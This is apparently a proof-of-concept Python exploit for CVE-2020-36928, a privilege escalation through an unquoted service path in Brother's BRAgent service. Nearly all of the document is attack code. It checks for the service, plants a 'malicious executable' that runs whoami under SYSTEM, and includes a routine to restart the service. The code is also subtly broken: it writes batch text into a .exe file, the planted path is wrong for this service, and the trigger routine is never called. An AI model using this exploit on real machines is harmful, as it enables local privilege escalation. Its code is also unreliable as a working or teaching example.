CVE-2020-36928 Brother BRAgent WBA_Agent_Client未引用服务路径权限提升漏洞

# CVE-2020-36928 PoC - Brother BRAgent Unquoted Service Path # This PoC demonstrates the unquoted service path vulnerability in Brother BRAgent # Target: WBA_Agent_Client service running with LocalSystem privileges import os import sys import time import subprocess import shutil def check_vulnerability(): """Check if the vulnerable service exists""" try: result = subprocess.run( ['sc', 'qc', 'WBA_Agent_Client'], capture_output=True, text=True ) if 'BINARY_PATH_NAME' in result.stdout: print("[+] WBA_Agent_Client service found") # Extract the path for line in result.stdout.split('\n'): if 'BINARY_PATH_NAME' in line: print(f"[i] Service path: {line.strip()}") return True except Exception as e: print(f"[-] Error checking service: {e}") return False def create_malicious_executable(target_path): """Create a malicious executable in the unquoted path location""" # Create a simple malicious executable (reverse shell or payload) malicious_code = ''' #include <windows.h> #include <stdio.h> int main() { // Log execution to file for demonstration FILE *fp = fopen("C:\\\\temp\\\\exploit_log.txt", "a"); if (fp) { fprintf(fp, "[EXPLOIT] Program.exe executed at %s\\n", __TIME__); fclose(fp); } // Spawn a command shell with SYSTEM privileges WinExec("cmd.exe /c whoami > C:\\\\temp\\\\whoami.txt", SW_HIDE); return 0; } ''' # For demonstration, create a batch file instead of compiled executable batch_content = '''@echo off echo [EXPLOIT] Executed at %date% %time% >> C:\\temp\\\\exploit_log.txt whoami >> C:\\temp\\\\whoami.txt ''' try: # Create temp directory if not exists os.makedirs('C:\\temp', exist_ok=True) # Create the malicious executable with open(target_path, 'w') as f: f.write(batch_content) print(f"[+] Malicious executable created at: {target_path}") return True except Exception as e: print(f"[-] Failed to create malicious executable: {e}") return False def trigger_service(): """Attempt to trigger the vulnerable service""" try: print("[*] Attempting to restart the service...") subprocess.run(['net', 'stop', 'WBA_Agent_Client'], capture_output=True, timeout=10) time.sleep(2) subprocess.run(['net', 'start', 'WBA_Agent_Client'], capture_output=True, timeout=10) print("[+] Service restart attempted") return True except Exception as e: print(f"[-] Failed to trigger service: {e}") return False def main(): print("=" * 60) print("CVE-2020-36928 - Brother BRAgent Unquoted Service Path") print("=" * 60) if not check_vulnerability(): print("[-] Target service not found or not vulnerable") return # The vulnerable path is: C:\Program Files (x86)\Brother\BRAgent\bragent.exe # Attack vector: Create Program.exe in C:\Program Files (x86)\ target_path = 'C:\\\\Program Files (x86)\\\\Program.exe' if create_malicious_executable(target_path): print("[*] Waiting for service trigger...") print("[*] Check C:\\temp\\\\exploit_log.txt for execution proof") # Note: In real attack, service restart triggers the exploit if __name__ == '__main__': main()